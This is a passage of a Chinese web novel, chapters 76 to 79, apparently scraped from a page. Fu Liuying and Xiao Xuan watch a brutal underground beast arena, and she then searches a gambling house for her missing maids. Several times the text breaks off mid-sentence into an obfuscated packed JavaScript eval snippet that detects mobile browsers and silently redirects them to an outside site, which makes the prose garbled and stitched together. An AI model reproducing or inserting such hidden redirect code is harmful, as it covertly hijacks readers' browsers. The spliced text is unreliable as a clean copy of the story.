;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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斗兽场 萧玹带着她，几个起落，悄无声息地攀上了靠近顶部、一块突出于石壁、约莫一米多长宽的石台之上。这样的石台在四面陡峭的石壁上还有好几处，位置隐蔽，视野极佳。 傅流萤被萧玹按着肩膀半蹲在石台上，屏住呼吸，向下望去。 场地中央的景象，足以让任何心存良知的人肝胆俱裂！ 十几名赤着上身、仅着破烂短裤的年轻男子，如同被投入沸水中的困兽，正在疯狂地互相搏杀，撕咬。 他们身上布满了新旧交叠的伤痕，肌肉贲张，眼神里只有麻木的凶狠和濒死的绝望。 每一次拳脚相击都发出沉闷的骨肉碰撞声，每一次摔打在沙地上都溅起暗红的血泥。 浓稠的鲜血不断从他们身上的伤口涌出，滴在了沙地上迅速的和底下的沙子融为一体。 就在这惨烈的混战达到高潮时，场地边缘三扇沉重的铁闸门猛地被拉开！ 三道狂暴凶戾的身影，挟裹着令人窒息的腥风，咆哮着冲入场内！ 一只体型庞大如小山、双目赤红的黑熊，獠牙外露，熊掌拍地，发出震耳欲聋的咆哮，地面仿佛都在颤抖！ 一只吊睛白额猛虎，皮**在昏暗的光线下闪烁着危险的光泽，琥珀色的兽瞳死死锁定了场中移动的“猎物”，发出低沉的威胁嘶吼！ 还有一头通体灰白，体型精瘦却异常矫健的巨狼，獠牙森白，幽绿的眼眸在阴影中闪烁着残忍的凶光！ 三头猛兽的出现，如同在沸腾的油锅里泼入冰水！ 场中原本还在互相残杀的人们瞬间被这更大的恐怖包裹住，大多停下了手里打斗的动作。 当然还有一部分人似乎早就已经见惯了这样的场面。 目光随即变得凶狠眯着眼睛极快速的往后退着。 烈到极致的血腥味似乎彻底刺激了猛兽的凶性。 “嗷呜……” “吼……” “嗷……” 三声截然不同却同样令人毛骨悚然的兽吼几乎同时传开，听着那令人闻风丧胆的声音，傅流萤的身躯下意识的绷直。 下一秒，萧玹的手搭在了她的后背。 那只宽阔的大掌莫名的让傅流萤有了一丝的安心。 傅流萤转过头，看到萧玹那双漆深黝黑的眼眸。 黑熊巨大的熊掌带着千钧之力狠狠拍向最近的一个身影！ 猛虎如一道闪电般扑出，精准地咬向一个试图逃跑的角斗士的脖颈！灰狼则如同鬼魅般在人群中穿梭，每一次扑咬都带起一片血雨腥风！ “啊……”凄厉到不似人声的惨叫瞬间撕裂了空气。 “噗嗤！”利齿入肉、骨骼碎裂的声音清晰得令人头皮发麻。 “上啊！撕碎他！咬断他的脖子！”看台上爆发出更加狂热、更加扭曲的呐喊和欢呼！ 傅流萤身体猛地一僵，一股冰冷的恐惧感瞬间包裹住了她的心脏，让她几乎无法呼吸！ 纵然她重生一世，见惯了阴谋诡计和血腥杀戮，可眼前这赤裸裸的将人命视为草芥，与猛兽搏杀以供取乐的极端残忍场面，依然超出了她的承受底线！ 胃里一阵翻江倒海，她死死咬住下唇，才勉强压下那股强烈的呕吐欲望。 萧玹站在她身侧，高大的身影在昏暗光线下如同冰冷的雕塑。 他斗笠下的目光扫过场中地狱般的景象，毫无波澜，仿佛在看一场再寻常不过的表演。 傅流萤强迫自己移开视线，冰冷的目光如同淬毒的针，狠狠刺向那环形看台上一个个面目扭曲兴奋呐喊的身影。 她的视线锐利地扫过，最终定格在靠近中央的几个位置上。 那里坐着几个衣着华贵，与周围狂热氛围有些格格不入的男人。 他们的脸上虽然也带着兴奋，但更多是一种居高临下的，带着残忍趣味的欣赏。 傅流萤的瞳孔骤然收缩，手指无意识地狠狠掐进了掌心，尖锐的疼痛却远不及她心头的震惊和滔**火 她认出了那几个人。 那个留着山羊胡眼神阴鸷的胖子是兵部侍郎曹德旺！ 傅莽的心腹之一，掌管军械调配。 那个面容刻薄正捻着胡须低声与旁人议论的瘦高个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080881|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是户部清吏司郎中吴用！ 同样是傅莽阵营的重要人物！ 还有那个满脸横肉、正拍着大腿狂笑的武将是傅莽麾下的骁骑营副将赵猛！ 他们这些朝廷命官，这些身居高位食君之禄的国之蛀虫！ 竟然堂而皇之地坐在这里，欣赏着这惨绝人寰的斗兽表演，为鲜血和死亡欢呼叫好！ 一股难以言喻的憎恶和冰冷的愤怒瞬间淹没了傅流萤！ 她重生归来，一心只想向傅莽和柳飞燕复仇，只求护住自己在乎的人。 可眼前这炼狱般的景象，这些官员脸上赤裸裸的残忍和漠视，让她第一次感受到了一种超越个人仇恨的、对整个腐烂世道的强烈心痛与憎恨。 这些人在其位，非但不谋其政，反而沉溺于这等变态嗜好，以虐**命为乐，大肆敛财，真是可恨可杀！ 萧玹敏锐地察觉到了身边人气息的变化。 他微微侧目，斗笠阴影下幽深的目光落在傅流萤紧绷的侧脸上。 当看到她眼底那几乎要喷薄而出的、浓烈到化不开的愤怒和……一丝他从未在她眼中见过的，近乎悲悯的痛楚时，萧玹的眼底飞快地掠过一丝极淡的诧异。 这还是那个满心算计，眼神里只有冰冷恨意和复仇火焰的傅流萤吗？ 萧玹的手臂依旧稳稳地环在她的腰侧，只是下意识的收紧了几分。 他的目光也重新投向下方血腥的斗场，声音低沉却又很平静，如同在陈述一个冰冷的事实。 “看到那些人了？” 他的下巴朝场中那些在猛兽爪牙下挣扎求生或是麻木搏杀的年轻身影点了点。 “他们大多是无父无母的乞儿，孤儿，或是从偏远之地掳掠而来的贫苦少年。” “自小就被秘密关押在此地，不见天日。 有人专门负责教导他们，不是识字明理，而是如何更有效地格斗，厮杀取人性命。 待他们长到十五岁左右，筋骨长成，便被源源不断地投入这个斗场，与人搏命，或与这些饥饿的猛兽厮杀，供台上那些……贵客取乐、下注。” 第七十六章 求求你救救他们 他的声音没有起伏，却字字句句都带着刺骨的寒意，将这地下角斗场的运作规则，血淋淋地摆在了傅流萤面前。 傅流萤只觉得一股寒气从心底蔓延至四肢百骸，连指尖都冰冷得失去了知觉。 她死死盯着下方，看着一个瘦弱的少年被猛虎一爪拍飞，重重撞在铁栏上，口喷鲜血。 看着灰狼咬住一人的手臂疯狂撕扯。 看着黑熊咆哮着将一个没了胳膊的人按在沙地上，巨大的熊掌高高扬起，踩碎了他的另一条胳膊。 傅流萤心惊不已。 就在这时，靠近他们所在石台下方不远处的铁栏外，传来一阵粗暴的呵斥和铁链拖动的声音。 “又死一个！晦气！快，把这个小崽子丢进去！给熊大爷塞塞牙缝！”一个满脸横肉的人骂骂咧咧地指挥着两个壮汉。 只见一个看起来只有十二三岁，瘦骨嶙峋，浑身脏污的男孩被粗暴地拖拽过来。 他惊恐地瞪大双眼，小小的身体因为极度的恐惧而剧烈颤抖，拼命挣扎着，可却无济于事。 他的一条腿上还锁着沉重的铁链，拖在地上发出刺耳的摩擦声。 “不……不要……求求你们……放了我……” 男孩嘶哑的哭求声微弱得几乎被场内的喧嚣淹没。 “闭嘴！小杂种！”管事狠狠一脚踹在男孩肚子上，男孩痛得蜷缩起来。 沉重的铁栏小门被哗啦一声拉开一条缝隙。 “进去吧你！”两个壮汉狞笑着，像扔垃圾一样，将那个瘦小的毫无反抗之力的男孩狠狠推搡进了血腥的斗兽场！ 男孩踉跄着扑倒在暗红色的沙地上，沾了满身的血污。 他惊恐地抬起头，映入眼帘的，是近在咫尺刚刚撕碎了人的巨大黑熊！ 那黑熊似乎被新出现的“小点心”吸引了注意力，赤红的兽瞳缓缓转向了地上瑟瑟发抖的男孩，喉咙里发出低吼声。 “不……不要……娘……”男孩绝望地蜷缩起来，嘶哑的哭喊被淹没在四周震耳欲聋的狂热呐喊中。 那声音微弱得像一阵风吹过就会断了似的。 傅流萤的心脏像是被一只冰冷的手狠狠攥住，骤然停止跳动。 她忽然猛地抓住了身侧男人坚实的小臂。 傅流萤抓得很用力，指甲几乎要隔着衣料陷进他的肌肤里。 “救他！”傅流萤的声音绷紧到了极致，带着她自己都未曾察觉的近乎破碎的颤音。 她猛地转过头，抬头直勾勾地看着萧玹藏在斗笠阴影下的脸，声音带着一丝的哽咽，“督主！求你……救救他！救救他们！” 石台上方狭窄的空间里，空气仿佛凝固，气氛沉闷的有些压抑。 萧玹一句话没说，只是冷冷的看着傅流萤，那双漆黑的瞳孔里眸光沉沉。 斗兽场中猛兽的咆哮，这些人濒死的惨叫，看台上嗜血的嘶吼还有癫狂的呐喊…… 在这一刻都诡异地模糊了起来，只剩下傅流萤这带着颤音的哀求，无比清晰的落在了萧玹的耳朵里。 萧玹的斗笠压得很低，只露出他线条冷硬的下颌和紧抿的薄唇。 那唇线绷得极紧，带着一种无动于衷的冷酷。 萧玹任由傅流萤死死抓着他的手臂，那只手冰冷又带着略微颤抖，隔着衣服萧玹能明显的感觉到。 “呵。”一声极轻的嗤笑，仿佛是在嘲笑眼前人的自不量力。 傅流萤只觉眼前一花，下巴呗捏住。 萧玹的力气很大，迫使傅流萤仰起头，直直撞入他斗笠下那两泓深不见底的寒潭。 那目光里没有丝毫温度，只有一片冻结万物的漠然，以及一丝……毫不掩饰的近乎刻薄的嘲弄。 傅流萤的心一点点沉了下去。 “傅流萤……”他的声音压得极低，贴着耳廓传来，每一个字都像淬了冰的针，扎进她的耳朵里，刺痛着她的耳朵。 “你莫不是忘了本督是谁？” 他微微倾身，两人之间的距离瞬间近得能感受到彼此呼出的气息。 萧玹身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080882|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上那冷冽的沉水香，此刻却带着一股血腥的压迫感。 “欺君罔上，结党营私，排除异己，草菅人命……” 萧玹薄唇蠕动着，吐出一个个令人胆寒的词，语气平淡得像在念诵一份枯燥的公文，偏偏字字诛心，“本督恶名昭著，臭名远扬，这朝堂内外，何人不知？何人不晓？” 他捏着傅流萤下巴的手指微微用力，她更加清晰地看到他眼底那片冰冷。 “你今日，是第一天认识本督吗？”萧玹尾音微微上扬，带着刺骨的讥诮，“竟指望本督去救一群蝼蚁？” 高高在上，不可一世。 萧玹的话语，比下方黑熊的咆哮更令人胆寒。 傅流萤瞳孔骤缩，被他话语里赤裸裸，毫不掩饰的冷酷彻底冻结。 她看到了他眼底那片冰原，坚硬，亘古不化。 是啊，他是萧玹。 是那个令百官战栗，小儿止啼的东厂督主。 他手上沾染的血腥，恐怕比这斗兽场沙地里的还要浓厚她凭什么认为，这样一个从地狱里爬出来的人，会为了几个素不相识、命如草芥的少年，去动一丝恻隐之心？ “他们是无辜的！”傅流萤的声音嘶哑，还是忍不住想再努力一把，“他们还那么小！他们不该……” “无辜？”萧玹打断她，唇角的讥诮更深，如同锋利的刀刃，扎在了傅流萤的身上，“这世道，何曾对谁讲过无辜二字？” 他的目光扫过她刻意涂黄却依旧难掩清丽轮廓的脸，那眼底燃烧的愤怒火焰，竟奇异地刺了他一下，让他心底那潭死水，泛起一丝极其细微、转瞬即逝的涟漪。 但也仅此而已。 “傅流萤……”他的声音陡然转冷，锐利的眸子冷冷扫过她，“本督倒真没想到，在将军府那口**的深井里挣扎求生，受尽欺凌长大的你，竟还有这份泛滥的圣母心？” “自身都难保，泥菩萨过江，却还想着替别人打伞？” 他松开钳制她下巴的手，“真是……天真得可笑。” 第七十七章 求人不如求己 话音落下的瞬间，下方斗兽场猛地爆发出更加狂热的嘶吼！ 傅流萤的心猛地一沉，几乎不敢去看。 眼角余光扫过，只瞥见一片骤然扬起的，混合着暗红沙尘的血雾！ 那瘦小身影所在的位置，已被黑熊巨大的身影彻底吞没！ 只有一声短促到几乎听不见的尖利惨嚎，可是在这哀嚎声遍野的角斗场很快就被洇灭。 傅流萤的身体猛地一颤，喉咙里发出一声压抑到极致的悲鸣。 她死死闭上眼，浓密的睫毛剧烈颤抖，眼角留下了一滴清泪。 那眼泪滚烫，灼烧着她的脸颊，更灼烧着她的心。 她错了。 错得离谱。 求他？ 凭什么求他？ 萧玹说得对，她凭什么认为他会出手？ 就凭那纸可笑的赐婚圣旨？ 还是凭她那点微不足道的利用价值？ 这世间的公道，从来不是靠哀求得来的！ 傅流萤猛地睁开眼，眼底所有的软弱，哀求，悲悯，都在瞬间被冷漠和坚定所取代！ 她的目光亮得惊人，直直看向萧玹。 “萧玹！”她声音不大，却很冰，很淡，“我傅流萤今日，才算真正看清了你！” “我原以为……你只是面冷心热！手段酷烈，却或许……还存着一丝底线！” 她盯着他斗笠阴影下那双毫无波澜的眼睛，一字一顿，清晰无比，“可现在看来，你根本就是……” “冷血无情！铁石心肠！与这炼狱里的恶鬼，又有何分别！” 每一个字，都像用尽了全身力气，砸在萧玹身上。 萧玹高大的身躯似乎几不可察地僵了一瞬。 斗笠下，那双深不见底的黑眸深处，似乎有什么东西极其细微地波动了一下，如同冰层下被投入一颗小石子，激起的涟漪瞬间便被更厚的寒冰覆盖冻结。 他看着眼前这张蜡黄黯淡的脸，虽然刻意扮了丑，可是那双杏眸却亮得惊人。 “知道就好。”萧玹的声音恢复了一贯的冰冷死寂，听不出丝毫情绪。 他猛地一拂袖，动作果断又很决绝。 “收起你那无用的眼泪和可笑的悲悯！”他居高临下，如同神祇俯视挣扎的蝼蚁，“傅流萤，你若真有那份救人的心思，就拿出你的本事来！自己动手！” “求人？”他发出一声极轻极冷的嗤笑，“算什么东西！” 话音未落，他身影已动！ 快得如同鬼魅！ 玄色的身影没有丝毫留恋，如同融入石壁的阴影，沿着来时那陡峭狭窄的石阶甬道，几个起落便消失在浓重的黑暗与污浊的血腥气中。 只留下那句冰冷刺骨的话，如同淬毒的冰锥，深深扎在傅流萤耳边，也扎在她心上。 “求人不如求己！” 空旷冰冷的石台上，只剩下傅流萤一人。 下方斗兽场的喧嚣和血腥仿佛被隔绝开来。 她孤零零地站在那里，单薄的靛蓝布衣在幽暗的光线下显得格外渺小。 她缓缓抬手，用粗糙的袖口，用力地擦过脸颊。 再抬起脸时，泪痕已干，只剩下眼底一片极致的冷静与坚定。 那目光，锐利如出鞘的寒刃，再无半分迷茫和悲恸。 是啊，求人算什么本事？ 她傅流萤能依靠的，从来只有自己！ 从地狱里爬回来的那一刻起，她就该明白这个道理！ 萧玹的话，像一记响亮的耳光，打醒了她。 她要有绝对的权力。 既然这世道混乱不堪，既然正义无法得到伸张，那她就要闯出一条道来，匡扶正义。 傅流萤深吸一口气，不再看下方那血腥屠场一眼。 她转身，目光锁定萧玹消失的甬道方向。 身形一动，她紧贴着湿滑冰冷的石壁，毫不犹豫地追了下去！ 每一步都踏得无比沉稳，无比决绝。 甬道曲折幽深，盘旋向上。 来时被萧玹带着，只觉得快，此刻独自攀爬，才更觉其陡峭湿滑，稍有不慎便会跌落。 傅流萤全神贯注，将萧玹方才带她时利用阴影、借力石壁的身法在脑中飞快闪过，依样施展。虽远不及他那般迅捷鬼魅，却也异常小心敏捷。 不知过了多久，前方终于透出微弱的光亮。 门并未关严，留着一道缝隙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091161|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，透出赌场里摇晃的灯火和鼎沸的人声。 越是临近大门，傅流萤看到了站在门口的萧玹。 察觉到身后人的脚步越来越近，萧玹的嘴角勾了勾。 他没有转身，直接大步流星的朝外走。 身影很快消失不见，与门外的黑暗融为了一体。 傅流萤紧追其后，出了门，学着萧玄之前的样子把门关上。 傅流萤往前走，穿过甬道，前面是一片巨大的赌场。 傅流萤扫射了一圈没有看到春芽和夏婵。 她的心猛地一沉。一种不祥的预感瞬间裹住了她。 她明明叮嘱过她们在外面机灵点，注意安全！ 她们去了哪里？是出了意外，还是……被这赌场里的人发现了？ 焦急如同藤蔓，瞬间缠绕上来。 傅流萤在赌场中走着找着。 这里比来时更加拥挤嘈杂。 形形**的赌徒挤满了不大的空间，吆五喝六，面红耳赤。 骰子盅疯狂摇动的哗啦声，银钱铜板砸在桌面的叮当脆响，狂笑与咒骂……吵的人头疼。 空气污浊得令人窒息。 傅流萤靛蓝布巾包着头，脸上蜡黄。 她这副刻意扮丑的仆妇模样，在这混乱的环境里毫不起眼。 没有！ 视线所及，根本没有春芽和夏婵那熟悉的身影。 她们是出去了还是出了意外？ 傅流萤的心里有些没底。 从萧玹的反应来看这赌场肯定还有其他的出口。 傅流萤抿了抿唇，加快了步伐。 “又输了！老子就不信这个邪！” “通杀！哈哈哈！给钱！快给钱！” “让开！别挡着老子翻本！” 各种粗鄙的吼叫在耳边炸响。 汗臭，体味还有劣质烟草的味道混合在一起，熏得人头晕。 就在她挤过一张围满了人、正在押大小的赌桌时，变故陡生！ 一个输得双眼赤红，满脸横肉敞着怀露出浓密胸毛的壮汉，猛地从赌桌旁跳了起来，狠狠将手里的骰盅砸在地上！ “出老千！你们合起伙来坑老子！” 第七十八章 异变横生 壮汉如同一头发狂的野牛，指着庄家破口大骂，唾沫星子横飞。 他显然输光了身上最后一个铜板，彻底失去了理智。 他狂怒地转身，动作又猛又快，庞大的身躯带着一股蛮横的力道，狠狠地撞向了人群，正好冲着傅流萤而来。 就在那输红眼的壮汉快要撞过来的刹那！ 傅流萤全身的汗**陡然倒竖！ 一股冰冷的气流裹挟着汗臭和戾气扑面压来。 她甚至来不及思考，身体已先于意识做出了反应。 她脚下猛地一转，腰肢如同柳枝般向后一拧，动作快如鬼魅，又轻若鸿羽。 “砰……” 一声沉重的闷响！ 那壮汉庞大的身躯收势不及，狠狠撞在了傅流萤刚才站立位置后面的一张空置长凳上。 长凳应声碎裂，木屑飞溅！ 巨大的惯性带着他往前踉跄了好几步，才像头死猪一样轰然栽倒在地，摔得灰头土脸，哼哼唧唧半天也爬不起来。 这突如其来的变故和巨响，瞬间吸引了整个赌场的目光。 “谁在**？活腻歪了？”一声粗野的暴喝如同炸雷般响起。 人群哗地向两侧分开。 几个穿着黑色劲装满脸横肉的打手，簇拥着一个精瘦的管事，气势汹汹地拨开人群冲了过来。 他脸上遍布阴鸷的狠厉，眼神像淬了毒的刀子，扫过混乱的中心。 傅流萤心头警铃大作！ 她立刻深深低下头，肩膀微微瑟缩，双手不安地绞着衣角，努力将自己缩进人群不起眼的阴影里，试图降低存在感。 然而，一道冰冷锐利如同毒蛇锁定猎物般的目光，还是穿透了嘈杂的人群，精准地钉在了她的身上！ 是那个精瘦的管事！ 他鹰隼般的眼睛，死死盯着傅流萤，那目光里充满了审视探究，还有一丝被冒犯的阴狠。 显然，刚才傅流萤那绝非寻常农妇能有的利落得近乎诡异的闪避，一丝不落地落入了他的眼中。 他分开挡在身前的打手，一步步朝傅流萤走来。 靴底踏在肮脏的地面上，发出沉闷的声响，每一步都像踩在傅流萤紧绷的心弦上。 周围的喧嚣诡异地安静了几分，赌徒们带着好奇地看向这边。 精瘦管事在傅流萤面前站定，阴影将她完全笼罩。 他微微歪着头，目光如同冰冷的刀刃，在她刻意涂黄布满风霜的脸上打量着。 “这位……小娘子？”他开口，声音不高，却带着一种令人头皮发麻的滑腻感，就像毒蛇吐信，“刚才……好利落的身手啊？” 傅流萤的心脏狂跳，几乎要撞出胸腔。 她强迫自己镇定，猛地抬起头，脸上瞬间堆满了惊惶和无措，眼神慌乱地左右游移，不敢与他对视。 她的嘴唇微微颤抖，声音带着浓重的乡音和惊恐的哭腔，“这……这位爷……您……您说什么？奴家……奴家听不懂啊……” 她像是被吓坏了，语无伦次，手指无意识地紧紧攥着衣角，指节用力到泛白，“奴家……奴家就是来找……找我家那杀千刀的……他……他欠了钱，人不见了……要债的天天堵门……呜呜……” 她一边说，一边怯生生地朝管事身后那个刚从地上爬起来，被两个打手桉着胳膊，正簌簌发抖的**壮汉瞥了一眼。 “哦？找丈夫？”管事脸上没什么表情，眼神却更加锐利，如同能穿透人心，“跑到这龙潭虎穴里来找？小娘子胆子不小嘛。” 他慢悠悠地说着，右手却缓缓抬起，按在了腰间悬挂的一根乌沉沉，油光锃亮的短棍上。 一股无形的压力骤然降临。 周围的空气仿佛都凝固了。 傅流萤感到后背瞬间被冷汗浸透，冰凉的布料紧贴着皮肤。 她努力维持着脸上的惶恐，声音带着哭腔，更加急促地解释，“没……没办法啊爷！家里……家里快揭不开锅了……娃儿饿得直哭……那杀千刀的三天三夜没回家了……要债的凶神恶煞……说……说再不还钱就要……就要抓我去抵债……呜呜……奴家……奴家实在是走投无路了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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整个过程中，傅流萤一直深深低着头，身体保持着微微发抖的姿势，仿佛被这血腥暴力的场面彻底吓傻了。 管事处理完壮汉，慢条斯理地转过身，再次踱步到傅流萤面前。 第七十九章 以身为饵 他上下打量着她，眼神锐利依旧，但那股赤裸裸的杀意似乎隐去了一些，取而代之的是一种更深的探究和猫捉老鼠般的戏谑。 “小娘子……”他开口，声音恢复了那种滑腻的腔调，“刚才那场面，连我手下这些常年练把式的兄弟，都不一定能像你这般轻巧地躲过去。你……真就是个种地的？” 傅流萤的心沉到了谷底。 这管事果然没放下疑心！ 她强迫自己抬起头，蜡黄的脸上挤出一个比哭还难看的笑容。 带着讨好和极度恐惧。 “爷……您……您真是折煞奴家了……什么身手不身手的……奴家……奴家就是乡下人，从小干粗活，力气大点，手脚笨，就是……就是碰巧躲开了……真的……奴家真是来找丈夫的……” 她咽了口唾沫，声音带着恳求，“求求您了爷，让奴家进去找找吧？找到那个没良心的，奴家立刻就走！绝不……绝不敢给爷添麻烦！” 她眼神哀切，姿态放得极低，像极了一个无权无势只求寻夫的农妇。 管事盯着她，沉默了良久。 赌场的嘈杂声浪似乎成了模糊的背景音，只剩下两人之间无声的对峙。 那审视的目光，像毒蛇一般蛰伏着。 终于，管事脸上那层阴冷的审视似乎松动了一丝。 他嘴角扯动了一下，露出一个意义不明，皮笑肉不笑的表情。 “行啊。”他慢悠悠地开口，声音拖得很长，“既然小娘子只是寻夫，又这么碰巧……那就进去找找吧。” 他侧过身，让开了路。 但他那双阴鸷的眼睛，却像钉子一样牢牢钉在傅流萤身上，没有半分移开的意思。 “不过……”他拖长了调子，手指在腰间那根乌沉沉的短棍上轻轻敲击着，发出笃笃的轻响。 每一下都敲在傅流萤紧绷的神经上。 “眼睛放亮点，手脚放干净点。不该看的地方别看，不该碰的东西别碰。否则……” 他眯了眯眼，后面的话没有说出口，但那森然的威胁意味，已不言而喻。 “是……是！谢谢爷！谢谢爷开恩！”傅流萤如蒙大赦，脸上立刻堆满了讨好的笑容，连连鞠躬，然后才小心翼翼地离开。 傅流萤努力缩着肩膀，低着头，仿佛真的只是一个被吓坏了的普通妇人。 可她低垂的眼眸深处，却是一片冰冷的沉静和警惕。 傅流萤能清晰地感觉到，背后那道目光，一直黏在她的身上。 他在怀疑她。 放她走也不过是想看看她到底想做什么。 如果她猜的没错的话，现在肯定有很多人盯着她的一举一动，一旦有任何的异常，都会被他们毫不犹豫的抓起来。 而此时此刻 二楼，幽暗的角落 厚重的帷幕隔绝了下方大部分喧嚣，只留下沉闷的嗡嗡声。 萧玹负手而立，玄色的衣袍几乎融入身后的阴影。 他微微垂眸，视线穿透栏杆的缝隙，将下方赌厅入口处发生的一切尽收眼底。 残风悄无声息地站在他身后半步的位置，同样看到了全过程。 他微微皱眉，压低了声音，带着一丝不易察觉的请示，“督主，那管事似乎并未打消疑虑。傅小姐孤身深入，恐有……” 他的话没有说完。 萧玹的指腹正缓缓摩挲着左手拇指上那枚触手冰凉质地温润的白玉扳指。 听到残风的话，他摩挲扳指的动作没有丝毫停顿，目光也依旧落在下方傅流萤那抹小心翼翼挪动的靛蓝色身影上。 “不急。”他薄唇微启，吐出两个字。 声音不高，带着冷意，在幽暗的角落清晰可闻。 残风微微一怔。 萧玹的视线追随着傅流萤在人群中艰难穿行的身影。 他眼底深处，掠过一丝极淡却又极其幽深的玩味光芒。 如同猎人看着落入陷阱却仍在努力挣扎的猎物。 “看她能装到几时。”他补充道，唇角似乎勾起了一个极其微小的弧度，转瞬即逝，快得让人以为是错觉。 “也看看……这‘恒昌记’的水底下，到底藏着多少条咬人的鱼。” 他的语气平淡无波，却让残风感到一股无形的寒意。 督主这是在用傅小姐做饵？ 残风不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅流萤连连鞠躬道歉，脸上满是惶恐和歉意，身体微微发抖，一副吓坏了的样子。 她一边道歉，一边慌忙蹲下身去捡地上的托盘，动作笨拙。 那伙计骂骂咧咧，见是个穿着寒酸畏畏缩缩的妇人，又看她吓得够呛，火气消了些，但脸色依旧难看的，“滚开滚开！别碍事！真是晦气！” 他一把夺过傅流萤捡起来的托盘，嫌弃地拍了拍上面并不存在的灰尘。 傅流萤像是被他的凶狠吓到，瑟缩着后退了两步，怯生生地问，“小……小哥，对不住……您……您刚才是不是……是不是看到两个穿得跟奴家差不多包着头巾的妇人？” “比奴家年轻些……她们……她们也是来找人的……奴家跟她们一起来的，刚才被冲散了……”她努力让自己的声音听起来充满无助和焦急。 伙计正没好气，闻言不耐烦地挥挥手，“没看见没看见！谁注意你们这些老娘们！滚滚滚，别挡道！” 说完，他端着托盘，转身就朝赌场深处，那条有打手把守的通道快步走去。 傅流萤低垂的眼眸中精光一闪！ 就是现在！ 她立刻“诚惶诚恐”地让开道路，但目光却死死锁定了那伙计的背影。 在他即将走到通道入口时，傅流萤看似慌乱地、脚步踉跄地跟了上去，嘴里还不住地念叨着，“找不到人可怎么办啊……那杀千刀的……” 通道入口的两个打手显然认识这个伙计，见他端着托盘过来，只是随意瞥了一眼，便放他进去了。 傅流萤紧跟着也想往里走。 “站住！”其中一个膀大腰圆的打手立刻横跨一步，粗壮的胳膊像铁闸一样拦在她面前，凶神恶煞地吼道：“干什么的？里面也是你能进的？滚远点！” “这位爷……”傅流萤立刻停下脚步，脸上堆满卑微讨好的笑，身体微微发抖，“奴家……奴家就想进去找找丈夫……刚才……刚才那位小哥进去了，奴家能不能……” “放屁！”打手粗暴地打断她，唾沫星子几乎喷到她脸上，“那是送酒水的！你算什么东西？滚！再往前一步，老子打断你的腿！” 他的吼声引来周围几个赌客的侧目。 傅流萤像是被吓破了胆，脸色煞白，连连后退，嘴里不住地道歉，“对不住对不住……奴家这就走……这就走……” 她一边说，一边慌忙转身，脚步踉跄地混入旁边一张赌桌的人群中，仿佛真的被吓跑了。 然而，在转身没入人群的瞬间，傅流萤眼底的惶恐和卑微瞬间褪去，只剩下冰冷的锐利。 她的目光越过攒动的人头，死死盯着那伙计消失的通道深处。 通道不长，尽头似乎是个拐角，有烛火的光亮透出。 那伙计的身影在拐角处一闪而逝。 就在他消失的前一刹那，傅流萤清晰地看到，通道尽头拐角处的地面上，似乎……落下了一小片非常不起眼的布片！ 那颜色，正是她让春芽夏婵换上的粗布衣裳的颜色！ 傅流萤的心猛地一沉，一股寒意瞬间从脚底窜上头顶！ 她们果然在里面！ 而且处境不妙！ 她不再犹豫，立刻退到赌场最边缘一个相对僻静的角落。 这里光线昏暗，堆放着一些杂物和空酒坛，只有几个输光了钱靠着墙壁打盹的落魄赌鬼。 傅流萤的目光扫过四周。 赌场结构并不复杂，除了进来的大门和刚刚那条有打手把守的通道，似乎只有侧后方还有一扇不起眼的小门，虚掩着一条缝，门口挂着油腻的布帘，隐约有油烟味和嘈杂的切菜声传来，像是通往厨房或者杂役区域。 她的视线最终落在了角落堆叠的几个巨大空酒坛后面。 那里墙壁的阴影格外浓重，而且似乎……隐约能看到一道非常不起眼被杂物半掩着的狭窄缝隙？ 